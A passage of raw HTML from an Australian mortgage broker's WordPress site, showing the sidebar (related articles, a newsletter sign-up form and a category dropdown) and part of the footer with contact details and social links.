<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-706x1024.jpg.webp 706w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-207x300.jpg.webp 207w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-768x1114.jpg.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-1059x1536.jpg.webp 1059w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-1412x2048.jpg.webp 1412w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-scaled.jpg.webp 1766w" sizes="(max-width: 706px) 100vw, 706px"/>
<img loading="lazy" decoding="async" width="706" height="1024" src="https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-706x1024.jpg" alt="" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-706x1024.jpg 706w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-207x300.jpg 207w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-768x1114.jpg 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-1059x1536.jpg 1059w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-1412x2048.jpg 1412w, https://intuitivefinance.com.au/wp-content/uploads/2024/09/Finance-Consultation-scaled.jpg 1766w" sizes="(max-width: 706px) 100vw, 706px"/>
</picture>
</a></figure></div></section><section id="block-13" class="widget widget_block"><p><div class="similar-reads-sidebar"><h3 style="font-size:28px;margin-bottom:15px">Similar Reads</h3><ul style="list-style:none;margin-left:0;padding-left:0"><li style="margin-bottom:15px;"><a href="https://intuitivefinance.com.au/do-mortgage-brokers-charge-a-fee/"><picture loading="lazy" decoding="async" class="attachment-medium size-medium wp-post-image">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-300x86.png.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-1024x294.png.webp 1024w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-600x172.png.webp 600w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-768x220.png.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-450x129.png.webp 450w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-1440x413.png.webp 1440w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-1920x551.png.webp 1920w" sizes="(max-width: 300px) 100vw, 300px"/>
<img loading="lazy" decoding="async" width="300" height="86" src="https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-300x86.png" alt="mortgage brokers fees" srcset="https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-300x86.png 300w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-1024x294.png 1024w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-600x172.png 600w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-768x220.png 768w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-450x129.png 450w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-1440x413.png 1440w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-1920x551.png 1920w" sizes="(max-width: 300px) 100vw, 300px"/>
</picture>
</a><h5><a href="https://intuitivefinance.com.au/do-mortgage-brokers-charge-a-fee/">Do mortgage brokers charge a fee</a></h5></li><li style="margin-bottom:15px;"><h5><a href="https://intuitivefinance.com.au/first-home-buyers-what-are-you-waiting-for-2/">First Home Buyers – What are you waiting for</a></h5></li><li style="margin-bottom:15px;"><a href="https://intuitivefinance.com.au/navigation-the-competitive-sydney-market/"><picture loading="lazy" decoding="async" class="attachment-medium size-medium wp-post-image">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2025/03/Navigating-the-competitive-Sydney-market-300x86.jpg.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2025/03/Navigating-the-competitive-Sydney-market-1024x294.jpg.webp 1024w, https://intuitivefinance.com.au/wp-content/uploads/2025/03/Navigating-the-competitive-Sydney-market-768x220.jpg.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2025/03/Navigating-the-competitive-Sydney-market-1536x440.jpg.webp 1536w, https://intuitivefinance.com.au/wp-content/uploads/2025/03/Navigating-the-competitive-Sydney-market.jpg.webp 1563w" sizes="(max-width: 300px) 100vw, 300px"/>
<img loading="lazy" decoding="async" width="300" height="86" src="https://intuitivefinance.com.au/wp-content/uploads/2025/03/Navigating-the-competitive-Sydney-market-300x86.jpg" alt="" srcset="https://intuitivefinance.com.au/wp-content/uploads/2025/03/Navigating-the-competitive-Sydney-market-300x86.jpg 300w, https://intuitivefinance.com.au/wp-content/uploads/2025/03/Navigating-the-competitive-Sydney-market-1024x294.jpg 1024w, https://intuitivefinance.com.au/wp-content/uploads/2025/03/Navigating-the-competitive-Sydney-market-768x220.jpg 768w, https://intuitivefinance.com.au/wp-content/uploads/2025/03/Navigating-the-competitive-Sydney-market-1536x440.jpg 1536w, https://intuitivefinance.com.au/wp-content/uploads/2025/03/Navigating-the-competitive-Sydney-market.jpg 1563w" sizes="(max-width: 300px) 100vw, 300px"/>
</picture>
</a><h5><a href="https://intuitivefinance.com.au/navigation-the-competitive-sydney-market/">Navigating the competitive Sydney market</a></h5></li></ul></div></p>
</section><section id="block-14" class="widget widget_block widget_media_image"><div class="wp-block-image">
<figure class="aligncenter"><a href="https://intuitivefinance.com.au/property-buying-tips-and-handy-hints-successfully-manage-your-finances/"><picture decoding="async" class="wp-image-15972">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/10/blog_best_practice_exports_new.jpg.webp"/>
<img decoding="async" src="https://intuitivefinance.com.au/wp-content/uploads/2022/10/blog_best_practice_exports_new.jpg" alt=""/>
</picture>
</a></figure></div></section><section id="block-18" class="widget widget_block"><link rel='stylesheet' id='kadence-blocks-image-css' href='https://intuitivefinance.com.au/wp-content/plugins/kadence-blocks/dist/style-blocks-image.css?ver=3.3.7' media='all' />
<style id='kadence-blocks-advancedheading-inline-css'>
.wp-block-kadence-advancedheading mark{background:transparent;border-style:solid;border-width:0}.wp-block-kadence-advancedheading mark.kt-highlight{color:#f76a0c;}.kb-adv-heading-icon{display: inline-flex;justify-content: center;align-items: center;}.single-content .kadence-advanced-heading-wrapper h1, .single-content .kadence-advanced-heading-wrapper h2, .single-content .kadence-advanced-heading-wrapper h3, .single-content .kadence-advanced-heading-wrapper h4, .single-content .kadence-advanced-heading-wrapper h5, .single-content .kadence-advanced-heading-wrapper h6 {margin: 1.5em 0 .5em;}.single-content .kadence-advanced-heading-wrapper+* { margin-top:0;}
</style>
<link rel='stylesheet' id='kadence-blocks-column-css' href='https://intuitivefinance.com.au/wp-content/plugins/kadence-blocks/dist/style-blocks-column.css?ver=3.3.7' media='all' />
<link rel='stylesheet' id='kadence-blocks-rowlayout-css' href='https://intuitivefinance.com.au/wp-content/plugins/kadence-blocks/dist/style-blocks-rowlayout.css?ver=3.3.7' media='all' />
<style>.kb-row-layout-idblock-18_91b2e2-3d > .kt-row-column-wrap{align-content:start;}:where(.kb-row-layout-idblock-18_91b2e2-3d > .kt-row-column-wrap) > .wp-block-kadence-column{justify-content:start;}.kb-row-layout-idblock-18_91b2e2-3d > .kt-row-column-wrap{column-gap:var(--global-kb-gap-md, 2rem);row-gap:var(--global-kb-gap-md, 2rem);padding-top:30px;padding-right:16px;padding-bottom:30px;padding-left:16px;grid-template-columns:minmax(0, 1fr);}.kb-row-layout-idblock-18_91b2e2-3d > .kt-row-layout-overlay{opacity:0.30;}@media all and (max-width: 1024px){.kb-row-layout-idblock-18_91b2e2-3d > .kt-row-column-wrap{grid-template-columns:minmax(0, 1fr);}}@media all and (max-width: 767px){.kb-row-layout-idblock-18_91b2e2-3d > .kt-row-column-wrap{padding-top:30px;padding-right:16px;padding-bottom:30px;padding-left:16px;grid-template-columns:minmax(0, 1fr);}}.paperPlane{width:100px;height:100px;background:#fff;-webkit-border-radius: 999px;-moz-border-radius: 999px;border-radius: 999px;display: flex!important;align-items: center;margin:0 auto!important;}._form_3 {    color: #fff;    margin-top: 30px;}._form_3 input[type="text"],._form_3 select{    width:100%}._form_3 ._form_element {    margin-bottom: 8px;}._form_3 label{    display:inline-block;    padding:5px 0;}._form_3 select {    border: 1px solid var(--global-gray-400);    background-size: 16px 100%;    padding: 5px 35px 5px 5px;    background: var(--global-palette9) url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNSIgaGVpZ2h0PSIyNSIgZmlsbD0ibm9uZSIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2U9IiNiYmIiPjxwYXRoIGQ9Ik02IDlsNiA2IDYtNiIvPjwvc3ZnPg==) no-repeat 98% 50%;    -moz-appearance: none;    -webkit-appearance: none;    appearance: none;    box-shadow: none;    outline: 0;    box-shadow: 0px 0px 0px -7px rgba(0, 0, 0, 0);}._form_3 fieldset{    border:0;    padding:0;}._form_3 ._submit{    width:100%;    margin-top:20px;    background:#ffd400;    color: #231F58;    font-style: normal;    font-size: 16px;    line-height: 1.5;    border-radius: 4px 4px 4px 4px;    color: #231F58;    background: #ffd400;    border: 1px solid transparent;    box-shadow: 0px 0px 0px -7px rgba(0, 0, 0, 0);    padding-top:7px;    padding-bottom:7px;}._form_3 ._submit:hover{    width:100%;    background:#f89925;}._form_3 ._error-inner{color:red}._form_3 ._form-title{text-align:center}#wrapper form [type="checkbox"]{    border-radius: 2px;    border: 1px solid rgba(87, 87, 87, 0.50);    background-color: #F6F6F6;    vertical-align: middle;    -moz-appearance: none;    appearance: none;    -webkit-appearance: none;    outline: none;    cursor: pointer;    width: 20px;    height: 20px;    margin-right:8px;}#wrapper form [type="checkbox"]:checked{  border: 2px solid #fff;  outline: 1px solid #293276;  background: #293276 url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMS44NiIgaGVpZ2h0PSIxMCIgdmlld0JveD0iMCAwIDMyIDI3Ij48cGF0aCBmaWxsPSIjZmZmIiBkPSJNMjYuOTkgMEwxMC4xMyAxNy4xN2wtNS40NC01LjU0TDAgMTYuNDFMMTAuNCAyN2w0LjY1LTQuNzNsLjA0LjA0TDMyIDUuMXoiLz48L3N2Zz4=') center center no-repeat;}</style><div class="kb-row-layout-wrap kb-row-layout-idblock-18_91b2e2-3d alignnone has-theme-palette3-background-color kt-row-has-bg wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-1-columns kt-row-layout-equal kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top">
<style>.kadence-column53e4e1-65 > .kt-inside-inner-col,.kadence-column53e4e1-65 > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-column53e4e1-65 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column53e4e1-65 > .kt-inside-inner-col{flex-direction:column;}.kadence-column53e4e1-65 > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-column53e4e1-65 > .kt-inside-inner-col:before{opacity:0.3;}.kadence-column53e4e1-65{position:relative;}@media all and (max-width: 1024px){.kadence-column53e4e1-65 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column53e4e1-65 > .kt-inside-inner-col{flex-direction:column;}}</style>
<div class="wp-block-kadence-column kadence-column53e4e1-65"><div class="kt-inside-inner-col"><style>.wp-block-kadence-image.kb-imaged35490-c5:not(.kb-specificity-added):not(.kb-extra-specificity-added){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;}.kb-imaged35490-c5 .kb-image-has-overlay:after{opacity:0.3;}</style>
<div class="wp-block-kadence-image kb-imaged35490-c5 paperPlane"><figure class="aligncenter size-large"><img decoding="async" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI1MCIgaGVpZ2h0PSI1MCIgdmlld0JveD0iMCAwIDUxMiA1MTIiPjxwYXRoIGZpbGw9IiMyOTMyNzYiIGQ9Ik00NzYgMy4yTDEyLjUgMjcwLjZjLTE4LjEgMTAuNC0xNS44IDM1LjYgMi4yIDQzLjJMMTIxIDM1OC40bDI4Ny4zLTI1My4yYzUuNS00LjkgMTMuMyAyLjYgOC42IDguM0wxNzYgNDA3djgwLjVjMCAyMy42IDI4LjUgMzIuOSA0Mi41IDE1LjhMMjgyIDQyNmwxMjQuNiA1Mi4yYzE0LjIgNiAzMC40LTIuOSAzMy0xOC4ybDcyLTQzMkM1MTUgNy44IDQ5My4zLTYuOCA0NzYgMy4yIi8+PC9zdmc+" alt="" class="kb-img" title="paperPlane"/></figure></div>


<style>.wp-block-kadence-advancedheading.kt-adv-headinge9075b-9b, .wp-block-kadence-advancedheading.kt-adv-headinge9075b-9b[data-kb-block="kb-adv-headinge9075b-9b"]{margin-bottom:0px;text-align:center;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-headinge9075b-9b mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headinge9075b-9b[data-kb-block="kb-adv-headinge9075b-9b"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headinge9075b-9b wp-block-kadence-advancedheading has-theme-palette-2-color has-text-color" data-kb-block="kb-adv-headinge9075b-9b">Knowledge hub updates</h3>


<style>.wp-block-kadence-advancedheading.kt-adv-headingf4ae87-7b, .wp-block-kadence-advancedheading.kt-adv-headingf4ae87-7b[data-kb-block="kb-adv-headingf4ae87-7b"]{margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;text-align:center;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-headingf4ae87-7b mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingf4ae87-7b[data-kb-block="kb-adv-headingf4ae87-7b"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<p class="kt-adv-headingf4ae87-7b wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingf4ae87-7b">Join 15,812 other readers who already receive it</p>



    <div id="mc_embed_signup" class="if-widget hub">
      <div class="_form_3"></div>
      <script type="text/javascript" src="https://intuitivefinance.activehosted.com/f/embed.php?static=0&id=3&66FB26EB11D27&nostyles=1&preview=0"></script>
    </div>

</div></div>

</div></div></section><section id="block-16" class="widget widget_block"><style>.wp-block-kadence-advancedheading.kt-adv-headingblock-16_5e39a0-d1, .wp-block-kadence-advancedheading.kt-adv-headingblock-16_5e39a0-d1[data-kb-block="kb-adv-headingblock-16_5e39a0-d1"]{font-size:28px;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-headingblock-16_5e39a0-d1 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingblock-16_5e39a0-d1[data-kb-block="kb-adv-headingblock-16_5e39a0-d1"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingblock-16_5e39a0-d1 wp-block-kadence-advancedheading" data-kb-block="kb-adv-headingblock-16_5e39a0-d1">Browse by Category</h3>
</section><section id="block-15" class="widget widget_block widget_categories"><div class="wp-block-categories-dropdown wp-block-categories"><label class="screen-reader-text" for="wp-block-categories-1">Categories</label><select  name='cat' id='wp-block-categories-1' class='postform'>
	<option value='-1'>Select Category</option>
	<option class="level-0" value="95">Brisbane&nbsp;&nbsp;(57)</option>
	<option class="level-0" value="37">Commercial&nbsp;&nbsp;(16)</option>
	<option class="level-0" value="94">Financial Planning&nbsp;&nbsp;(83)</option>
	<option class="level-0" value="90" selected="selected">First time buyers&nbsp;&nbsp;(99)</option>
	<option class="level-0" value="35">Home buying &amp; selling&nbsp;&nbsp;(285)</option>
	<option class="level-0" value="36">Investing&nbsp;&nbsp;(372)</option>
	<option class="level-0" value="44">Lifestyle&nbsp;&nbsp;(113)</option>
	<option class="level-0" value="96">Melbourne&nbsp;&nbsp;(84)</option>
	<option class="level-0" value="93">Recognition and Awards&nbsp;&nbsp;(1)</option>
	<option class="level-0" value="92">Sandringham (Melbourne)&nbsp;&nbsp;(12)</option>
	<option class="level-0" value="91">Sydney&nbsp;&nbsp;(61)</option>
	<option class="level-0" value="1">Uncategorized&nbsp;&nbsp;(4)</option>
</select><script>
	
	( function() {
		var dropdown = document.getElementById( 'wp-block-categories-1' );
		function onCatChange() {
			if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) {
				location.href = "https://intuitivefinance.com.au/?cat=" + dropdown.options[ dropdown.selectedIndex ].value;
			}
		}
		dropdown.onchange = onCatChange;
	})();
	
	
</script>

</div></section>	</div>
</aside><!-- #secondary -->
	</div>
</div><!-- #primary -->
	</div><!-- #inner-wrap -->
	<footer id="colophon" class="site-footer" role="contentinfo">
	<div class="site-footer-wrap">
		<div class="site-top-footer-wrap site-footer-row-container site-footer-focus-item site-footer-row-layout-standard site-footer-row-tablet-layout-default site-footer-row-mobile-layout-default" data-section="kadence_customizer_footer_top">
	<div class="site-footer-row-container-inner">
				<div class="site-container">
			<div class="site-top-footer-inner-wrap site-footer-row site-footer-row-columns-2 site-footer-row-column-layout-right-golden site-footer-row-tablet-column-layout-default site-footer-row-mobile-column-layout-row ft-ro-dir-row ft-ro-collapse-normal ft-ro-t-dir-default ft-ro-m-dir-default ft-ro-lstyle-plain">
									<div class="site-footer-top-section-1 site-footer-section footer-section-inner-items-2">
						<div class="footer-widget-area widget-area site-footer-focus-item footer-widget1 content-align-default content-tablet-align-default content-mobile-align-default content-valign-default content-tablet-valign-default content-mobile-valign-default" data-section="sidebar-widgets-footer1">
	<div class="footer-widget-area-inner site-info-inner">
		<section id="block-9" class="widget widget_block"><link rel='stylesheet' id='kadence-blocks-iconlist-css' href='https://intuitivefinance.com.au/wp-content/plugins/kadence-blocks/dist/style-blocks-iconlist.css?ver=3.3.7' media='all' />
<style>.kb-row-layout-wrap.wp-block-kadence-rowlayout.kb-row-layout-idblock-9_6c39a1-33{margin-bottom:24px;}.kb-row-layout-idblock-9_6c39a1-33 > .kt-row-column-wrap{align-content:start;}:where(.kb-row-layout-idblock-9_6c39a1-33 > .kt-row-column-wrap) > .wp-block-kadence-column{justify-content:start;}.kb-row-layout-idblock-9_6c39a1-33 > .kt-row-column-wrap{column-gap:var(--global-kb-gap-md, 2rem);row-gap:var(--global-kb-gap-md, 2rem);padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;grid-template-columns:minmax(0, 1fr);}.kb-row-layout-idblock-9_6c39a1-33{background-color:#060807;}.kb-row-layout-idblock-9_6c39a1-33 > .kt-row-layout-overlay{opacity:0.30;}@media all and (max-width: 1024px){.kb-row-layout-idblock-9_6c39a1-33 > .kt-row-column-wrap{grid-template-columns:minmax(0, 1fr);}}@media all and (max-width: 767px){.kb-row-layout-idblock-9_6c39a1-33 > .kt-row-column-wrap{grid-template-columns:minmax(0, 1fr);}}</style><div class="kb-row-layout-wrap kb-row-layout-idblock-9_6c39a1-33 alignnone kt-row-has-bg wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-1-columns kt-row-layout-equal kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top">
<style>.kadence-columnbc1bf3-ba > .kt-inside-inner-col,.kadence-columnbc1bf3-ba > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-columnbc1bf3-ba > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-columnbc1bf3-ba > .kt-inside-inner-col{flex-direction:column;}.kadence-columnbc1bf3-ba > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-columnbc1bf3-ba > .kt-inside-inner-col:before{opacity:0.3;}.kadence-columnbc1bf3-ba{position:relative;}@media all and (max-width: 1024px){.kadence-columnbc1bf3-ba > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-columnbc1bf3-ba > .kt-inside-inner-col{flex-direction:column;}}</style>
<div class="wp-block-kadence-column kadence-columnbc1bf3-ba"><div class="kt-inside-inner-col"><style>.kb-image379790-3d.kb-image-is-ratio-size, .kb-image379790-3d .kb-image-is-ratio-size{max-width:130px;width:100%;}.wp-block-kadence-column > .kt-inside-inner-col > .kb-image379790-3d.kb-image-is-ratio-size, .wp-block-kadence-column > .kt-inside-inner-col > .kb-image379790-3d .kb-image-is-ratio-size{align-self:unset;}.kb-image379790-3d{max-width:130px;}.image-is-svg.kb-image379790-3d{-webkit-flex:0 1 100%;flex:0 1 100%;}.image-is-svg.kb-image379790-3d img{width:100%;}.kb-image379790-3d:not(.kb-image-is-ratio-size) .kb-img, .kb-image379790-3d.kb-image-is-ratio-size{padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.kb-image379790-3d .kb-image-has-overlay:after{opacity:0.3;}@media all and (max-width: 1024px){.kb-image379790-3d.kb-image-is-ratio-size, .kb-image379790-3d .kb-image-is-ratio-size{max-width:160px;width:100%;}}@media all and (max-width: 1024px){.kb-image379790-3d{max-width:160px;}}</style>
<figure class="wp-block-kadence-image kb-image379790-3d size-full"><a href="/" class="kb-advanced-image-link"><picture loading="lazy" decoding="async" class="kb-img wp-image-19696">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/09/if_logo_black.png.webp"/>
<img loading="lazy" decoding="async" width="295" height="125" src="https://intuitivefinance.com.au/wp-content/uploads/2024/09/if_logo_black.png" alt=""/>
</picture>
</a></figure>


<style>.wp-block-kadence-advancedheading.kt-adv-heading44cb80-14, .wp-block-kadence-advancedheading.kt-adv-heading44cb80-14[data-kb-block="kb-adv-heading44cb80-14"]{padding-top:24px;padding-bottom:24px;margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;font-size:16px;line-height:1;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-heading44cb80-14 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading44cb80-14[data-kb-block="kb-adv-heading44cb80-14"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<p class="kt-adv-heading44cb80-14 wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading44cb80-14">Simplifying Your Financing Journey.</p>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items987da0-92:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items987da0-92 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items987da0-92 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items987da0-92 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items987da0-92 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items987da0-92 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items987da0-92 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items987da0-92 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items987da0-92 kt-svg-icon-list-columns-1 alignnone"><ul class="kt-svg-icon-list">
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-0cae2f-ca"><a href="mailto:info@intuitivefinance.com.au" class="kt-svg-icon-link"><span class="kb-svg-icon-wrap kb-svg-icon-fe_mail kt-svg-icon-list-single"><svg viewBox="0 0 24 24"  fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"  aria-hidden="true"><path d="M4 4h16c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2z"/><polyline points="22,6 12,13 2,6"/></svg></span><span class="kt-svg-icon-list-text">info@intuitivefinance.com.au</span></a></li>



<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-2fd023-af"><a href="tel:1300342505" class="kt-svg-icon-link"><span class="kb-svg-icon-wrap kb-svg-icon-fe_phone kt-svg-icon-list-single"><svg viewBox="0 0 24 24"  fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"  aria-hidden="true"><path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07 19.5 19.5 0 0 1-6-6 19.79 19.79 0 0 1-3.07-8.67A2 2 0 0 1 4.11 2h3a2 2 0 0 1 2 1.72 12.84 12.84 0 0 0 .7 2.81 2 2 0 0 1-.45 2.11L8.09 9.91a16 16 0 0 0 6 6l1.27-1.27a2 2 0 0 1 2.11-.45 12.84 12.84 0 0 0 2.81.7A2 2 0 0 1 22 16.92z"/></svg></span><span class="kt-svg-icon-list-text">1300 342 505</span></a></li>
</ul></div>
</div></div>

</div></div></section>	</div>
</div><!-- .footer-widget1 -->
<div class="footer-widget-area widget-area site-footer-focus-item footer-social content-align-default content-tablet-align-default content-mobile-align-default content-valign-default content-tablet-valign-default content-mobile-valign-default" data-section="kadence_customizer_footer_social">
	<div class="footer-widget-area-inner footer-social-inner">
		<div class="footer-social-wrap"><div class="footer-social-inner-wrap element-social-inner-wrap social-show-label-false social-style-filled"><a href="https://www.facebook.com/IntuitiveFinance" aria-label="Facebook" target="_blank" rel="noopener noreferrer"  class="social-button footer-social-item social-link-facebook"><span class="social-icon-custom-svg" style="max-width:24px"><svg fill="none" viewBox="0 0 24 25" height="25" width="24" xmlns="http://www.w3.org/2000/svg"><title>Facebook</title><g clip-path="url(#clip0_2727_2965)">     <path fill="#FFD400" d="M24 12.5C24 5.87188 18.6281 0.5 12 0.5C5.37188 0.5 0 5.87188 0 12.5C0 18.4906 4.3875 23.4547 10.125 24.3547V15.9688H7.07812V12.5H10.125V9.85625C10.125 6.84922 11.9156 5.1875 14.6578 5.1875C15.9703 5.1875 17.3438 5.42188 17.3438 5.42188V8.375H15.8297C14.3391 8.375 13.875 9.30078 13.875 10.25V12.5H17.2031L16.6711 15.9688H13.875V24.3547C19.6125 23.4547 24 18.4906 24 12.5Z"></path>   </g>   <defs>     <clipPath id="clip0_2727_2965">       <rect transform="translate(0 0.5)" fill="white" height="24" width="24"></rect>     </clipPath>   </defs> </svg></span></a><a href="https://www.youtube.com/channel/UClJk4jLqboW1xaqGaiAU1Kg" aria-label="YouTube" target="_blank" rel="noopener noreferrer"  class="social-button footer-social-item social-link-youtube"><span class="social-icon-custom-svg" style="max-width:24px"><svg fill="none" viewBox="0 0 24 25" height="25" width="24" xmlns="http://www.w3.org/2000/svg"><title>Youtube</title><path fill="#FFD400" d="M12 0.5C5.37258 0.5 0 5.87258 0 12.5C0 19.1274 5.37258 24.5 12 24.5C18.6274 24.5 24 19.1274 24 12.5C24 5.87258 18.6274 0.5 12 0.5ZM17.0008 8.37466C17.5516 8.5258 17.9853 8.97111 18.1325 9.53661C18.4 10.5615 18.4 12.7 18.4 12.7C18.4 12.7 18.4 14.8384 18.1325 15.8634C17.9853 16.4289 17.5516 16.8742 17.0008 17.0254C16.0027 17.3 12 17.3 12 17.3C12 17.3 7.99732 17.3 6.99913 17.0254C6.44837 16.8742 6.01462 16.4289 5.86742 15.8634C5.60001 14.8384 5.60001 12.7 5.60001 12.7C5.60001 12.7 5.60001 10.5615 5.86742 9.53661C6.01462 8.97111 6.44837 8.5258 6.99913 8.37466C7.99732 8.1 12 8.1 12 8.1C12 8.1 16.0027 8.1 17.0008 8.37466Z" clip-rule="evenodd" fill-rule="evenodd"></path>   <path fill="#FFD400" d="M10.8 14.8999V10.8999L14 12.9L10.8 14.8999Z"></path> </svg></span></a><a href="https://www.linkedin.com/company/intuitive-finance-pty-ltd-australia-/?trk=public_profile_topcard-current-company" aria-label="Linkedin" target="_blank" rel="noopener noreferrer"  class="social-button footer-social-item social-link-linkedin"><span class="social-icon-custom-svg" style="max-width:24px"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="25" viewBox="0 0 24 25" fill="none"><title>LinkedIn</title><path fill-rule="evenodd" clip-rule="evenodd" d="M12 0.5C5.37258 0.5 0 5.87258 0 12.5C0 